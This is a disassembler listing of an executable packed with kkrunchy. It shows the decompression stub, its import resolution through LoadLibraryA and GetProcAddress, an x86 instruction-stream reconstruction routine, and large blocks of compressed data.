		dd 139E278Dh, 7306ECF2h, 0DD6BF70Ah, 8B049E15h,	3D4BB91Eh
		dd 435F720Ah, 18B0975Fh, 0AD38C515h, 73133DD5h,	0ED7D5D39h
		dd 72EF2A1Ch, 0B1F54A45h, 22A71170h, 0D96EE67Fh, 0DD394312h
		dd 9E0F99A0h, 2A8A1F10h, 0F72EAACEh, 148612h, 205CAB4Bh
		dd 0C72ED6EDh, 2BC2572Eh, 77C3B155h, 35E1B16h, 39C01345h
		dd 6B7A172h, 70FCF3FAh,	0C4C42FDDh, 0A04275B8h,	5031728Dh
		dd 0C5650C73h, 28502DA2h, 3407C230h, 34424819h,	186F2FEEh
		dd 0B921089Eh, 0A98FC428h, 2F4B360Ch, 0B1F20475h, 0ED3ECCF4h
		dd 0EA857128h, 0F780E643h, 90DA984Ch, 7A4B3C6Bh, 21BAED2Eh
		dd 5CEB6A69h, 0CC43ADD1h, 8FB40C91h, 987D7F7h, 5784AE4Bh
		dd 0F5485E0Bh, 63526972h, 0E4262C01h, 2B0C0F35h, 0AD96FB0Dh
		dd 9FCB5213h, 0B5C9163Fh, 0C78BFEDCh, 0ADBC8C21h, 8B34B51Fh
		dd 0D0405485h, 685905AAh, 462B65CAh, 0EA71B962h, 46CB6829h
		dd 0C2983278h, 0DC2B096Bh, 0CDE3134Fh, 64D78C34h, 455F1D06h
		dd 640EF35Dh, 0A883466Bh, 0BB2F57EEh, 0FD70763Ch, 2D0658D1h
		dd 4F9B9737h, 8D9E4A35h, 3A7760A9h, 6F2B1A67h, 0D0A91B7Ch
		dd 3DAE3292h, 0A436FB47h, 0D5328802h, 546B561Dh, 39583B3Bh
		dd 0E006BF30h, 0F61C670Bh, 0EEDF58B2h, 0ADB3CAD6h, 0ED22EDB9h
		dd 315FF430h, 1137DCFh,	0AC7D9796h, 34E5B43Bh, 0D8AAF077h
		dd 0A9ED8E8Fh, 9B2D6B65h, 6BEF4159h, 0C31332B5h, 791D7B37h
		dd 262E8EFBh, 6FF2E208h, 0C7DC0D5h, 75B67311h, 440D2ECEh
		dd 0D4DB1339h, 3F29B917h, 0C44A9725h, 0B5D8F2B9h, 0C1E5AC7Ch
		dd 19A1F280h, 0C78FCC30h, 35DDF5B6h, 32A7B769h,	0B7EDFEDEh
		dd 5D000B21h, 7F62930Dh, 2BF910BDh, 41CF52DCh, 98C3C295h
		dd 4C6C64D1h, 0B169294Ch, 36721E2Ch, 0E000D2B7h, 0C2BD0B99h
		dd 3BB62817h, 41D814Ah,	0C947E183h, 81C57BA6h, 2D5662B0h
		dd 2A27EE83h, 8DE415Bh,	7B99B800h, 64B4A40Dh, 373BA1A7h
		dd 9168DEEBh, 7DF90CFEh, 7CE51E84h, 63F73746h, 0A561B601h
		dd 856A5BE5h, 66B2FB1Fh, 0D1EB0436h, 0D7A7833Eh, 0B3AFD939h
		dd 3D8D094h, 597421AFh,	92C58BA7h, 0A9454740h, 0EB155C03h
		dd 2B7BA930h, 0F66A12B9h, 377D8A68h, 14D62AE5h,	66D3CFF9h
		dd 0B279A6ADh, 16303449h, 175021Bh, 0D699FD71h,	72C223C0h
		dd 55A0BE4Ch, 0B71048D1h, 79A0096Dh, 0ABB4DACBh, 9169122Ch
		dd 177BDB18h, 0D1F481BAh, 1820C064h, 8E7E1906h,	0D879B5D9h
		dd 26FA0D2Eh, 83AB8659h, 66D7A80Eh, 0C782DC2h, 157463E9h
		dd 7D0B6FC7h, 9EB70C4h,	686ED868h, 0B762760h, 7B508332h
		dd 45F0161Dh, 0D69F277Dh, 0EE75B81Fh, 0AB14E30Ch, 6C112398h
		dd 6C21AA4Eh, 483CF29Bh
		dd 234CAF9Dh, 0C02EC0C5h, 89FEDC68h, 0BA820804h, 0FCE95DA0h
		dd 0FF5BEA83h, 59043360h, 0A19D950Dh, 0F69A30BDh, 487CD152h
		dd 0B16F094h, 3A0597BEh, 0ECDA97CFh, 0EF1831B5h, 686C297Ah
		dd 0E5B8595Bh, 0BA1917B2h, 60223EAAh, 74A7C73Fh, 22820F32h
		dd 7CB2FE4Ah, 0FB320E14h, 0F7BF934Ch, 2FD17784h, 0ADE0F016h
		dd 98BF769Eh, 1AFAE1BEh, 21BA3AC5h, 73EEBF66h, 0B74D2F92h
		dd 0F50DB132h, 23BA9CD1h, 521A525Fh, 0D748D0C5h, 0E8D0FA08h
		dd 5574EABDh, 5C728019h
		db 0D9h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		mov	ebp, offset off_3EA408
		mov	dword ptr [ebp+0], 3E00D4h
		dec	dword ptr [ebp+8]
		mov	byte ptr [ebp+0Ch], 5
		lea	edi, [ebp+14h]
		xor	eax, eax
		mov	ah, 4
		mov	ecx, eax
		rep stosd
		mov	edi, offset loc_3F2816
		push	edi
		mov	esi, offset sub_3EA186


loc_3EA0BE:				; CODE XREF: start+4Aj
		xor	ecx, ecx
		inc	ecx
		dec	dword ptr [ebp+0Ch]


loc_3EA0C4:				; CODE XREF: start+3Aj
		lea	ebx, [ebp+ecx*4+0A0h]
		call	esi ; sub_3EA186
		adc	cl, cl
		jnb	short loc_3EA0C4
		inc	dword ptr [ebp+0Ch]
		xchg	eax, ecx
		stosb
		or	ecx, 0FFFFFFFFh


loc_3EA0D9:				; CODE XREF: start+B2j
		lea	ebx, [ebp+ecx*4+18h]
		call	esi ; sub_3EA186
		jz	short loc_3EA0BE
		jecxz	short loc_3EA0FA
		lea	ebx, [ebp+1Ch]
		call	esi ; sub_3EA186
		jz	short loc_3EA0FA
		lea	ebx, [ebp+8A0h]
		call	sub_3EA1E1
		mov	eax, [ebp+10h]
		jmp	short loc_3EA13C
; ---------------------------------------------------------------------------


loc_3EA0FA:				; CODE XREF: start+4Cj	start+53j
		lea	ebx, [ebp+4A0h]
		call	sub_3EA1E1
		dec	ecx
		dec	ecx
		js	short loc_3EA149
		lea	ebx, [ebp+20h]
		jz	short loc_3EA111
		add	ebx, 40h


loc_3EA111:				; CODE XREF: start+77j
		xor	edx, edx
		inc	edx


loc_3EA114:				; CODE XREF: start+8Aj
		call	sub_3EA1D7
		lea	ecx, [eax+ecx*2]
		test	dl, 10h
		jz	short loc_3EA114
		inc	ecx
		xchg	eax, ecx
		lea	ebx, [ebp+8A0h]
		call	sub_3EA1E1
		cmp	eax, 800h
		sbb	ecx, 0FFFFFFFFh
		cmp	eax, 60h
		sbb	ecx, 0FFFFFFFFh


loc_3EA13C:				; CODE XREF: start+63j
		mov	[ebp+10h], eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_3EA0D9
; ---------------------------------------------------------------------------


loc_3EA149:				; CODE XREF: start+72j
		mov	esi, offset byte_3F2B6F
		mov	ebx, offset LoadLibraryA
		push	ebp


loc_3EA154:				; CODE XREF: start+D5j
		inc	esi
		lodsd
		test	eax, eax
		jz	short loc_3EA184
		xchg	eax, edi
		push	esi
		call	dword ptr [ebx]
		test	eax, eax
		jz	short loc_3EA178
		xchg	eax, ebp


loc_3EA163:				; CODE XREF: start+D1j	start+E1j
		lodsb
		test	al, al
		jnz	short loc_3EA163
		cmp	[esi], al
		jz	short loc_3EA154
		js	short loc_3EA17C
		push	esi


loc_3EA16F:				; CODE XREF: start+EDj
		push	ebp
		call	dword ptr [ebx+4]
		stosd
		test	eax, eax
		jnz	short loc_3EA163


loc_3EA178:				; CODE XREF: start+CBj
		inc	eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_3EA17C:				; CODE XREF: start+D7j
		inc	esi
		xor	eax, eax
		lodsw
		push	eax
		jmp	short loc_3EA16F
; ---------------------------------------------------------------------------


loc_3EA184:				; CODE XREF: start+C3j
		pop	ebp
		retn
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_3EA186	proc near		; CODE XREF: start+36p	start+48p ...
		push	ecx
		mov	eax, [ebp+8]
		shr	eax, 0Bh
		mov	ecx, [ebp+0]
		imul	eax, [ebx]
		mov	ecx, [ecx]
		bswap	ecx
		sub	ecx, [ebp+4]
		cmp	eax, ecx
		mov	ecx, [ebp+0Ch]
		jbe	short loc_3EA1B2
		mov	[ebp+8], eax
		xor	eax, eax
		mov	ah, 8
		sub	eax, [ebx]
		shr	eax, cl
		add	[ebx], eax
		xor	eax, eax
		jmp	short loc_3EA1C1
; ---------------------------------------------------------------------------


loc_3EA1B2:				; CODE XREF: sub_3EA186+19j
		add	[ebp+4], eax
		sub	[ebp+8], eax
		mov	eax, [ebx]
		shr	eax, cl
		sub	[ebx], eax
		or	eax, 0FFFFFFFFh


loc_3EA1C1:				; CODE XREF: sub_3EA186+2Aj
		test	byte ptr [ebp+0Bh], 0FFh
		jnz	short loc_3EA1D2
		inc	dword ptr [ebp+0]
		shl	dword ptr [ebp+8], 8
		shl	dword ptr [ebp+4], 8


loc_3EA1D2:				; CODE XREF: sub_3EA186+3Fj
		shr	eax, 1Fh
		pop	ecx
		retn
sub_3EA186	endp


; =============== S U B	R O U T	I N E =======================================



sub_3EA1D7	proc near		; CODE XREF: start:loc_3EA114p
					; sub_3EA1E1:loc_3EA1E7p ...
		push	ebx
		lea	ebx, [ebx+edx*4]
		call	esi ; sub_3EA186
		pop	ebx
		adc	dl, dl
		retn
sub_3EA1D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_3EA1E1	proc near		; CODE XREF: start+5Bp	start+6Bp ...
		push	eax
		xor	ecx, ecx
		inc	ecx
		mov	edx, ecx


loc_3EA1E7:				; CODE XREF: sub_3EA1E1+16j
		call	sub_3EA1D7
		call	sub_3EA1D7
		lea	ecx, [eax+ecx*2]
		test	dl, 2
		jnz	short loc_3EA1E7
		pop	eax
		retn
sub_3EA1E1	endp

kkrunchy	ends

;
; Imports from KERNEL32.DLL
;
; ===========================================================================

; Segment type:	Externs
; _idata
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; DATA	XREF: start+B9o
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
		extrn GetProcAddress:dword


; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
kkrunchy	segment	para public 'CODE' use32
		assume cs:kkrunchy
		;org 3EA207h
		assume es:nothing, ss:nothing, ds:kkrunchy, fs:nothing,	gs:nothing
		db 1Fh
		dd 2D0000A2h, 0A2h, 4B000000h, 454E5245h, 2E32334Ch, 4C4C44h
		dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
		dd 6441636Fh, 73657264h, 7000073h, 0A2h, 0
		dd 13000000h, 0FB0000A2h, 0A1h,	6Dh dup(0)
off_3EA408	dd offset byte_3F9ED3	; DATA XREF: starto
		dd offset dword_3F9F70
		dd offset dword_3F9F88
		dd offset byte_3F9F8F
		dd offset dword_3F9F9C
		dd offset word_3FA0AA
		dd offset byte_3FAA9B
		dd offset dword_3FAC18
		dd offset word_3FAC3E
		dd offset byte_3FB303
		dd offset word_3FBC2A
		dd offset word_3FBC9E
		dd offset word_3FD4B2
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0E7h, 3Fh, 0
		dd offset dword_3FEF40
		dd offset word_3FF01E
		dd offset dword_3FF9CC
		dd offset word_3FFE5A
		dd offset dword_400734
		dd offset word_40077E
		dd offset dword_400DD4
		dd offset sub_401000
		dd offset sub_400FFC
		dd 107C0h, 2 dup(0)
		dd 29h,	42DFh, 1D7Bh, 35B7h, 5B98h, 9606h, 40D1h, 5A40h
		dd 187Ch, 10456h, 1048Ah, 1057Ch, 10510h, 10540h, 10570h
		dd 10590h, 10610h, 10678h, 10680h, 10690h, 1069Ah, 106A0h
		dd 106B0h, 1075Ah, 107C8h, 107E8h, 107F0h, 1085Fh, 107FEh
		dd 1085Fh, 10883h, 10952h, 108B5h, 108FEh, 1076Ch, 108D1h
		dd 108FEh, 10924h, 10958h, 10952h, 10960h, 0A459h, 0E908h
		dd 8522h, 8D5h,	0E2C2h,	8843h, 7D6Eh, 7D81h, 9236h, 7E1Ah
		dd 1051Ch, 8149h, 81A7h, 81ADh,	0A480h,	8277h, 104DCh
		dd 8522h, 85E7h, 10790h, 104EEh, 8659h,	86CBh, 87DBh, 8835h
		dd 8843h, 88C7h, 8918h,	0EA8h, 104D6h, 10528h, 1052Eh
		dd 6A76h, 9236h, 10540h, 9407h,	942Ch, 944Eh, 951Ah, 95D0h
		dd 9602h, 98A4h, 98CCh,	996Bh, 964Ah, 967Ch, 96C6h, 972Dh
		dd 9798h, 97AEh, 97C4h,	10796h,	982Eh, 107A2h, 1079Ch
		dd 98A4h, 98CCh, 9A38h,	996Bh, 2 dup(99F3h), 9A38h, 2 dup(0A2D8h)
		dd 0A31Eh, 0A380h, 0A459h, 0A480h, 0A493h, 0A4ABh, 0A4C3h
		dd 0A4D9h, 0A515h, 0A522h, 0A55Fh, 0A5A8h, 0A5E1h, 0A61Ah
		dd 0A6BEh, 0A7D0h, 0D399h, 0A99Dh, 0AAAFh, 0AC10h, 0C42Dh
		dd 0ACBDh, 2D9Dh, 0ACBDh, 0AD04h, 0C5A8h, 0AE68h, 2E1Fh
		dd 0B135h, 211Dh, 107A8h, 0B501h, 2C04h, 2D70h,	0B63Eh
		dd 0B79Ah, 0B79Bh, 2DF6h, 0BAA1h, 0D2C1h, 0BD92h, 0BDA0h
		dd 0BDAEh, 0BDDFh, 0BEBEh, 107BAh, 107B4h, 107AEh, 0C3D6h
		dd 0C3F4h, 0C428h, 0C44Eh, 0C63Eh, 10506h, 2D92h, 0C68Dh
		dd 10510h, 10500h, 2DB2h, 10522h, 10516h, 104F4h, 0CBD7h
		dd 0CD36h, 1092Ah, 2644h, 2767h, 292Ah,	0CE40h,	0CE4Ch
		dd 2338h, 357Ch, 0CE9Ah, 248Ch,	10570h,	0D243h,	0D288h
		dd 0D2BCh, 0D399h, 0D496h, 0D523h, 0D61Ah, 0D637h, 0D64Dh
		dd 0D6A0h, 24DEh, 0D707h, 0D829h, 2B44h, 0D8DBh, 0D8E1h
		dd 0D951h, 0DA2Fh, 0DAC4h, 0DB16h, 4E4Fh, 10930h, 0DCD6h
		dd 244Bh, 2530h, 0DE23h, 49F0h,	4D8Ch, 4C9Ch, 296Eh, 2996h
		dd 2A1Bh, 2AB5h, 29C6h,	2AF7h, 2B2Fh, 0E2C2h, 22A7h, 0E461h
		dd 0E6CDh, 0E727h, 0E7FDh, 0E835h, 0E908h, 0E9C9h, 257Fh
		dd 0EBA7h, 5D58h, 0ED22h, 0EDB3h, 4A0Dh, 0EEB8h, 5E6Fh
		dd 0F1AEh, 0F1E6h, 107C8h, 107F0h, 107FEh, 0F94Bh, 0F98Ch
		dd 0F999h, 0FB3Bh, 0FB73h, 0FBBEh, 0FC55h, 0FBC3h, 100B4h
		dd 1013Ah, 10159h, 1015Ch, 101A5h, 101A9h, 101BAh, 101D8h
		dd 101DBh, 101E8h, 3F32DAh, 3F32DBh, 3F32DCh, 3F32DDh
		dd 3F32DEh, 3F32E0h, 3F32E1h, 3F32E2h, 3F32E4h,	3F32E5h
		dd 3F32E7h, 3F32E8h, 3F32E9h, 3F32EAh, 3F32ECh,	3F32EEh
		dd 3F32F0h, 3F32F1h, 3F32F2h, 3F32F4h, 3F32F5h,	3F32F7h
		dd 3F32F9h, 3F32FAh, 3F32FBh, 3F32FCh, 3F32FEh,	3F3300h
		dd 3F3302h, 3F3303h, 3F3304h, 3F3305h, 3F3307h,	3F3309h
		dd 3F330Bh, 3F330Ch, 3F330Dh, 3F330Fh, 3F3310h,	3F3311h
		dd 3F3313h, 3F3315h, 3F3316h, 3F3318h, 3F331Ah,	3F331Ch
		dd 3F331Eh, 3F331Fh, 3F3320h, 3F3322h, 3F3324h,	3F3326h
		dd 3F3328h, 3F332Ah, 3F332Ch, 3F332Dh, 3F332Fh,	3F3331h
		dd 3F3333h, 3F3335h, 3F3336h, 3F3338h, 3F333Ah,	3F333Ch
		dd 3F333Dh, 3F333Fh, 3F3340h, 3F3341h, 3F3343h,	3F3345h
		dd 3F3347h, 3F3349h, 3F334Ah, 3F334Ch, 3F334Eh,	3F3350h
		dd 3F3351h, 3F3353h, 3F3355h, 3F3356h, 3F3358h,	3F335Ah
		dd 3F335Ch, 3F335Eh, 3F3360h, 3F3361h, 3F3363h,	3F3365h
		dd 3F3367h, 3F3369h, 3F336Ah, 3F336Ch, 3F336Eh,	3F336Fh
		dd 3F3370h, 3F3371h, 3F3373h, 3F3375h, 3F3377h,	3F3379h
		dd 3F337Ah, 3F337Bh, 3F337Ch, 3F337Eh, 3F3380h,	3F3382h
		dd 3F3384h, 3F3386h, 3F3388h, 3F3389h, 3F338Bh,	3F338Dh
		dd 3F3390h, 3F3392h, 3F3394h, 3F3396h, 3F3398h,	3F339Ah
		dd 3F339Ch, 3F339Eh, 3F33A0h, 3F33A2h, 3F33A4h,	3F33A6h
		dd 3F33A8h, 3F33AAh, 3F33ACh, 3F33ADh, 3F33AFh,	3F33B1h
		dd 3F33B3h, 3F33B5h, 3F33B7h, 3F33BAh, 3F33BBh,	3F33BCh
		dd 3F33BEh, 3F33C0h, 3F33C2h, 3F33C4h, 3F33C6h,	3F33C8h
		dd 3F33CAh, 3F33CCh, 3F33CFh, 3F33D0h, 3F33D2h,	3F33D4h
		dd 3F33D6h, 3F33D8h, 3F33DAh, 3F33DBh, 3F33DCh,	3F33DEh
		dd 3F33E0h, 3F33E2h, 3F33E4h, 3F33E6h, 3F33E8h,	3F33EAh
		dd 3F33ECh, 3F33EEh, 3F33F0h, 3F33F1h, 3F33F2h,	3F33F4h
		dd 3F33F6h, 3F33F8h, 3F33FAh, 3F33FCh, 3F33FEh,	3F3400h
		dd 3F3402h, 3F3404h, 3F3405h, 3F3407h, 3F3409h,	3F340Bh
		dd 3F340Dh, 3F340Fh, 3F3411h, 3F3413h, 3F3415h,	3F3417h
		dd 3F341Ah, 3F341Bh, 3F341Ch, 3F341Eh, 3F3420h,	3F3422h
		dd 3F3424h, 3F3426h, 3F3428h, 3F342Ah, 3F342Ch,	3F342Eh
		dd 3F3430h, 3F3432h, 3F3434h, 3F3435h, 3F3437h,	3F3439h
		dd 3F343Bh, 3F343Dh, 3F343Fh, 3F3441h, 3F3443h,	3F3445h
		dd 3F3447h, 3F3449h, 3F344Bh, 3F344Dh, 3F344Fh,	3F3451h
		dd 3F3453h, 3F3456h, 3F3457h, 3F3459h, 3F345Bh,	3F345Dh
		dd 3F345Fh, 3F3461h, 3F3463h, 3F3465h, 3F3467h,	3F3469h
		dd 3F346Bh, 3F346Dh, 3F346Fh, 3F3471h, 3F3473h,	3F3475h
		dd 3F3477h, 3F3479h, 3F347Bh, 3F347Dh, 3F347Fh,	3F3481h
		dd 3F3483h, 3F3485h, 3F3487h, 3F3489h, 3F348Bh,	3F348Dh
		dd 3F348Fh, 3F3491h, 3F3493h, 3F3495h, 3F3497h,	3F3499h
		dd 3F349Bh, 3F349Dh, 3F349Fh, 3F34A1h, 3F34A3h,	3 dup(400h)
		dd 4C3h, 43Dh
		dd 4EDh, 398h, 2 dup(400h), 1D2h, 242h,	4C6h, 392h, 2DDh
		dd 24Ch, 400h, 369h, 43Dh, 3FDh, 2 dup(400h), 4DFh, 5D7h
		dd 4 dup(400h),	41Fh, 55Ch, 2A3h, 49Fh,	0Ah dup(400h)
		dd 565h, 5CBh, 2 dup(400h), 5C2h, 536h,	14h dup(400h)
		dd 406h, 446h, 4B7h, 4FFh, 4 dup(400h),	57Ch, 44Ah, 401h
		dd 4B8h, 14h dup(400h),	3AFh, 405h, 48Ah, 3C1h,	4 dup(400h)
		dd 3E2h, 439h, 41Ch, 45Bh, 0Ah dup(400h), 47Bh,	54Ah, 2	dup(400h)
		dd 4DCh, 544h, 4 dup(400h), 461h, 3E0h,	437h, 3FFh, 2 dup(400h)
		dd 607h, 58Bh, 459h, 400h, 58Ah, 43Ch, 2Bh dup(400h), 414h
		dd 2 dup(400h),	3F4h, 483h, 0Ah	dup(400h), 530h, 4A3h
		dd 2 dup(400h),	52Bh, 435h, 14h	dup(400h), 4BCh, 4DCh
		dd 4C7h, 386h, 4 dup(400h), 4A4h, 48Ch,	395h, 406h, 0Ah	dup(400h)
		dd 43Bh, 41Ah, 2 dup(400h), 41Eh, 4B1h,	4 dup(400h), 3DAh
		dd 40Eh, 4DAh, 3A3h, 2 dup(400h), 41Fh,	41Eh, 408h, 43Eh
		dd 423h, 401h, 0DDh dup(400h), 1CFEh dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_3F2816:				; DATA XREF: start+1Eo
		mov	edi, offset sub_401000
		mov	ebx, edi
		sub	ebx, 4
		mov	[ebp+58h], ebx
		xor	eax, eax
		mov	[ebp+5Ch], eax
		mov	[ebp+64h], eax
		inc	eax
		mov	[ebp+60h], eax
		mov	[ebp+68h], eax
		lea	ebx, [esi+58h]
		xor	ecx, ecx


loc_3F283A:				; CODE XREF: kkrunchy:003F2845j
		lodsd
		mov	[ebp+ecx*4+0], ebx
		add	ebx, eax
		inc	ecx
		cmp	cl, 16h
		jnz	short loc_3F283A
		mov	esi, [ebp+4]
		xchg	esi, [ebp+0]
		push	edi
		lea	edi, [ebp+468h]
		lodsb
		movzx	ecx, al
		mov	ebx, offset byte_3F2A6F


loc_3F285D:				; CODE XREF: kkrunchy:loc_3F287Cj
		mov	eax, esi
		stosd
		xor	eax, eax
		lodsb
		cmp	al, 66h
		jnz	short loc_3F2868
		lodsb


loc_3F2868:				; CODE XREF: kkrunchy:003F2865j
		cmp	al, 0Fh
		jnz	short loc_3F286F
		lodsb
		mov	ah, 1


loc_3F286F:				; CODE XREF: kkrunchy:003F286Aj
		shr	eax, 1
		xlat
		jnb	short loc_3F2877
		shr	al, 4


loc_3F2877:				; CODE XREF: kkrunchy:003F2872j
		test	al, 2
		jz	short loc_3F287C
		inc	esi


loc_3F287C:				; CODE XREF: kkrunchy:003F2879j
		loop	loc_3F285D
		pop	edi


loc_3F287F:				; CODE XREF: kkrunchy:003F28CCj
					; kkrunchy:003F29BAj ...
		xor	eax, eax
		cmp	[ebp+64h], eax
		jz	short loc_3F288A
		xchg	eax, [ebp+64h]
		xchg	eax, esi


loc_3F288A:				; CODE XREF: kkrunchy:003F2884j
		cmp	esi, [ebp+0]
		jz	loc_4111E8
		lodsb
		cmp	al, 0FFh
		jz	short loc_3F28A5
		mov	[ebp+64h], esi
		movzx	eax, al
		mov	esi, [ebp+eax*4+468h]


loc_3F28A5:				; CODE XREF: kkrunchy:003F2896j
		xor	eax, eax
		cmp	[ebp+60h], eax
		lodsb
		jz	short loc_3F28C7
		cmp	al, 0CCh
		jz	short loc_3F28C7
		lea	ecx, [edi-4]
		sub	ecx, [ebp+58h]
		mov	ebx, [ebp+68h]
		mov	[ebp+ebx*4+68h], ecx


loc_3F28BE:				; CODE XREF: kkrunchy:003F28C1j
		inc	byte ptr [ebp+68h]
		jz	short loc_3F28BE
		mov	byte ptr [ebp+60h], 0


loc_3F28C7:				; CODE XREF: kkrunchy:003F28ABj
					; kkrunchy:003F28AFj
		cmp	al, 0CEh
		jnz	short loc_3F28CE
		movsb
		jmp	short loc_3F287F
; ---------------------------------------------------------------------------


loc_3F28CE:				; CODE XREF: kkrunchy:003F28C9j
		stosb
		xor	edx, edx
		cmp	al, 66h
		jnz	short loc_3F28D9
		mov	dh, 1
		lodsb
		stosb


loc_3F28D9:				; CODE XREF: kkrunchy:003F28D3j
		mov	bl, al
		cmp	bl, 0CCh
		jz	short loc_3F28E8
		sub	bl, 0C2h
		cmp	bl, 1
		ja	short loc_3F28EC


loc_3F28E8:				; CODE XREF: kkrunchy:003F28DEj
		mov	byte ptr [ebp+60h], 1


loc_3F28EC:				; CODE XREF: kkrunchy:003F28E6j
		mov	ebx, offset byte_3F2A6F
		cmp	al, 0Fh
		jnz	short loc_3F28F9
		lodsb
		stosb
		mov	ah, 1


loc_3F28F9:				; CODE XREF: kkrunchy:003F28F3j
		shr	eax, 1
		xlat
		jnb	short loc_3F2901
		shr	al, 4


loc_3F2901:				; CODE XREF: kkrunchy:003F28FCj
		and	al, 0Fh
		mov	cl, al
		test	cl, 2
		jz	loc_3F2993
		lodsb
		stosb
		mov	ch, al
		mov	al, cl
		and	al, 3
		cmp	al, 3
		jnz	short loc_3F292C
		mov	cl, 2
		test	ch, 38h
		jnz	short loc_3F292C
		mov	bl, [edi-2]
		test	bl, 8
		jnz	short loc_3F292C
		add	cl, 4


loc_3F292C:				; CODE XREF: kkrunchy:003F2918j
					; kkrunchy:003F291Fj ...
		and	ch, 0C7h
		cmp	ch, 0C4h
		jz	short loc_3F2943
		mov	al, ch
		and	al, 7
		cmp	al, 4
		jnz	short loc_3F2943
		xchg	esi, [ebp+54h]
		movsb
		xchg	esi, [ebp+54h]


loc_3F2943:				; CODE XREF: kkrunchy:003F2932j
					; kkrunchy:003F293Aj
		mov	dl, ch
		and	dl, 0C0h
		cmp	dl, 40h
		jnz	short loc_3F295C
		movzx	ebx, ch
		and	bl, 7
		xchg	esi, [ebp+ebx*4+4]
		movsb
		xchg	esi, [ebp+ebx*4+4]


loc_3F295C:				; CODE XREF: kkrunchy:003F294Bj
		cmp	dl, 80h
		jz	short loc_3F2973
		cmp	ch, 5
		jz	short loc_3F2973
		test	dl, dl
		jnz	short loc_3F2993
		mov	al, [edi-1]
		and	al, 7
		cmp	al, 5
		jnz	short loc_3F2993


loc_3F2973:				; CODE XREF: kkrunchy:003F295Fj
					; kkrunchy:003F2964j
		xor	ebx, ebx
		cmp	ch, 5
		jnz	short loc_3F297B
		inc	ebx


loc_3F297B:				; CODE XREF: kkrunchy:003F2978j
		xchg	esi, [ebp+ebx*4+34h]
		lodsd
		dec	esi
		xchg	esi, [ebp+ebx*4+34h]
		xchg	esi, [ebp+48h]
		shl	eax, 8
		lodsb
		xchg	esi, [ebp+48h]
		ror	eax, 8
		stosd


loc_3F2993:				; CODE XREF: kkrunchy:003F2908j
					; kkrunchy:003F2968j ...
		mov	al, cl
		and	al, 3
		cmp	al, 1
		jnz	loc_3F2A35
		shr	cl, 2
		jnz	short loc_3F29BF
		xchg	esi, [ebp+3Ch]
		lodsd
		dec	esi
		xchg	esi, [ebp+3Ch]
		xchg	esi, [ebp+4Ch]
		shl	eax, 8
		lodsb
		xchg	esi, [ebp+4Ch]
		ror	eax, 8
		stosd
		jmp	loc_3F287F
; ---------------------------------------------------------------------------


loc_3F29BF:				; CODE XREF: kkrunchy:003F29A2j
		dec	cl
		jnz	short loc_3F29CF
		xchg	esi, [ebp+24h]
		movsb
		xchg	esi, [ebp+24h]
		jmp	loc_3F287F
; ---------------------------------------------------------------------------


loc_3F29CF:				; CODE XREF: kkrunchy:003F29C1j
		xor	ebx, ebx
		cmp	byte ptr [edi-1], 0E8h
		jz	short loc_3F29F8
		xchg	esi, [ebp+50h]
		lodsw
		xchg	esi, [ebp+50h]
		xchg	esi, [ebp+44h]
		shl	eax, 10h
		lodsw
		xchg	esi, [ebp+44h]
		shr	eax, 1
		jnb	short loc_3F29F0
		not	eax


loc_3F29F0:				; CODE XREF: kkrunchy:003F29ECj
		add	eax, [ebp+5Ch]
		mov	[ebp+5Ch], eax
		jmp	short loc_3F2A2A
; ---------------------------------------------------------------------------


loc_3F29F8:				; CODE XREF: kkrunchy:003F29D5j
		xor	eax, eax
		xchg	esi, [ebp+40h]
		lodsb
		xchg	esi, [ebp+40h]
		test	al, al
		jz	short loc_3F2A0B
		mov	eax, [ebp+eax*4+68h]
		jmp	short loc_3F2A2A
; ---------------------------------------------------------------------------


loc_3F2A0B:				; CODE XREF: kkrunchy:003F2A03j
		xchg	esi, [ebp+50h]
		lodsw
		xchg	esi, [ebp+50h]
		xchg	esi, [ebp+40h]
		shl	eax, 10h
		lodsw
		xchg	esi, [ebp+40h]
		mov	ebx, [ebp+68h]
		mov	[ebp+ebx*4+68h], eax


loc_3F2A25:				; CODE XREF: kkrunchy:003F2A28j
		inc	byte ptr [ebp+68h]
		jz	short loc_3F2A25


loc_3F2A2A:				; CODE XREF: kkrunchy:003F29F6j
					; kkrunchy:003F2A09j
		sub	eax, edi
		add	eax, [ebp+58h]
		stosd
		jmp	loc_3F287F
; ---------------------------------------------------------------------------


loc_3F2A35:				; CODE XREF: kkrunchy:003F2999j
		shr	cl, 2
		jz	loc_3F287F
		dec	cl
		jnz	short loc_3F2A4E
		xchg	esi, [ebp+28h]
		movsb
		xchg	esi, [ebp+28h]
		jmp	loc_3F287F
; ---------------------------------------------------------------------------


loc_3F2A4E:				; CODE XREF: kkrunchy:003F2A40j
		dec	cl
		jnz	short loc_3F2A62
		test	dh, dh
		jnz	short loc_3F2A62
		xchg	esi, [ebp+30h]
		movsd
		xchg	esi, [ebp+30h]
		jmp	loc_3F287F
; ---------------------------------------------------------------------------


loc_3F2A62:				; CODE XREF: kkrunchy:003F2A50j
					; kkrunchy:003F2A54j
		xchg	esi, [ebp+2Ch]
		movsw
		xchg	esi, [ebp+2Ch]
		jmp	loc_3F287F
; ---------------------------------------------------------------------------
byte_3F2A6F	db 22h			; DATA XREF: kkrunchy:003F2858o
					; kkrunchy:loc_3F28ECo
		dd 7 dup(22008422h), 8422h, 4 dup(0)
		dd 0A8000022h, 55000064h, 55555555h, 0A6555555h, 22222266h
		dd 222222h, 0
		dd 11000000h, 84000011h, 44000000h, 88444444h, 66888888h
		dd 0A6220Ch, 2200400Ch,	22004422h, 55222222h, 0DD444455h
		dd 51h,	2 dup(330000h),	0
		dd 22000000h, 222222h, 22000000h, 22h, 2 dup(0)
		dd 22000000h, 22222222h, 222222h, 0
		dd 22000000h, 22222222h, 66222222h, 22266h, 0DD220000h
		dd 0DDDDDDDDh, 22DDDDDDh, 22222222h, 222222h, 222620h
